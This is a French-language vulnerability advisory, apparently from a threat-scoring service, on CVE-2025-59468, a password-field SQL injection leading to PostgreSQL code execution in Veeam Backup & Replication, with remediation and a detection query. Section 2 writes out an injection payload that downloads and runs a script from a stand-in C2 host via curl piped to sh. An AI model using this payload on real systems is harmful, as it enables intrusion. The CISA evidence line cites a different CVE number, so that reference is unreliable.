CVE-2025-59468 : exécution de code PostgreSQL via le paramètre password dans Veeam Backup & Replication

HERMES

HERMES THREAT SCORE & RISQUE DE GESTIONNAIRE D'IDENTIFIANTS

Cible : Module de gestion des identifiants et base PostgreSQL Veeam Backup & Replication

Confiance : 98%

90 / 100

CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions

Exploitabilité 18 / 20

Activité de menace 16 / 20

Militarisation 19 / 20

Exposition 16 / 20

Prévalence 19 / 20

Impact 20 / 20

Maturité de l'exploit 18 / 20

Potentiel d'attaque en chaîne 20 / 20

⚖️ Divergence & Justification opérationnelle

Hermes classe la CVE-2025-59468 à 90 (CRITIQUE). Bien que la soumission d'identifiants requière des privilèges d'administration sur la console, l'injection permet de s'extraire de l'application pour exécuter des commandes directement au niveau de la couche de données PostgreSQL. Cette faille facilite le mouvement latéral furtif et le dépôt d'implants de persistance dans le cluster de base de données sans déclencher les alertes de l'interface graphique.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2025-59468: PostgreSQL Remote Code Execution via Malicious Password Parameter in Veeam Backup & ReplicationVULNÉRABILITÉ

Nœuds connectés : 1

Relations sortantes actives

→ affectsCOMPOSANTVeeam Backup & Replication

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”

Preuves vérifiées associées :

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)

Exécution de code à distance via injection dans le mot de passe

CVSS v3.1 : 9.0 critique : (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) / CWE-89 : injection SQL.
Affecte Veeam Backup & Replication 13.x antérieures ou égales à 13.0.1.180. Un administrateur de sauvegarde peut insérer une charge utile malveillante dans le champ de mot de passe lors de la configuration d’un compte de service ou d’un dépôt de sauvegarde. Cette valeur est traitée sans échappement lors de son enregistrement ou de son chiffrement dans PostgreSQL, déclenchant l’exécution de code arbitraire en tant que postgres. Corrigée dans le correctif KB4716 (version 13.0.1.1071).

Synthèse exécutive

La vulnérabilité CVE-2025-59468 a été révélée dans le bulletin KB4716 de janvier 2026. Elle réside dans la routine de persistance des informations d’identification d’infrastructure (comptes vCenter, identifiants de stockage S3, clés SSH).

Lorsqu’un compte administrateur enregistre un nouveau mot de passe, celui-ci transite vers une procédure stockée interne. En raison d’un mauvais échappement des caractères de fin de chaîne et des délimiteurs de littéraux PostgreSQL ($$), un mot de passe forgé peut fermer prématurément le bloc d’insertion et injecter des fonctions SQL privilégiées permettant l’exécution de commandes système.

---

1. Métadonnées et surface d’attaque

Paramètre	Spécification technique	Impact opérationnel
Identifiant CVE	CVE-2025-59468	Identifiant officiel NVD / MITRE
Avis de sécurité éditeur	Veeam KB4716	Correctif de sécurité cumulatif VBR v13
Composant affecté	Gestionnaire d’identifiants (Credentials Manager)	Enregistrement des secrets d’infrastructure
Versions affectées	VBR 13.x $\le$ 13.0.1.180	Installations sous PostgreSQL
Version corrigée	Veeam Backup & Replication 13.0.1.1071	Mise à niveau recommandée
Privilèges requis	Backup Administrator (authentifié)	Console VBR ou API d’administration
Impact final	Exécution de code postgres	Persistance base de données et RCE

---

2. Analyse technique de la cause racine

Le gestionnaire de secrets de Veeam prend en charge le chiffrement asymétrique des mots de passe. Toutefois, avant le passage dans l’algorithme de chiffrement, une routine de vérification de conformité et d’insertion temporaire dans la table de session utilisait une chaîne SQL dynamique :

// Modèle conceptuel du bug :
string insertSql = $"INSERT INTO temp_credentials (user_id, raw_entropy, test_hash) VALUES ('{userId}', '{passwordInput}', '{hash}')";

En fournissant un mot de passe contenant des délimiteurs de requête :

P@ssword123'; CREATE EXTENSION IF NOT EXISTS plpython3u; DO $$ import os; os.system('curl http://c2.local/drop | sh') $$; --

Le serveur PostgreSQL interprète le mot de passe comme une séquence d’instructions SQL complètes, exécutant les commandes sous l’identité de l’instance PostgreSQL.

---

3. Stratégie de détection et remédiation

Requête de Threat Hunting PostgreSQL

index=postgresql_logs ("CREATE EXTENSION" OR "COPY" OR "DO $$")
(query="*temp_credentials*" OR query="*credentials*")
| table _time user database query client_addr

Mesures correctives

1. Appliquer immédiatement le correctif KB4716 : mettre à niveau vers la version 13.0.1.1071.
2. Surveillance des requêtes DDL suspectes : activer l’extension pgaudit pour tracer les instructions DO et CREATE EXTENSION sur la base Veeam.
3. Segmentation réseau du serveur de sauvegarde : isoler le serveur VBR des flux sortants non sollicités vers Internet.

---

4. Références

• Bulletin de sécurité officiel : Veeam Security Bulletin KB4716
• Base NIST NVD : CVE-2025-59468 Detail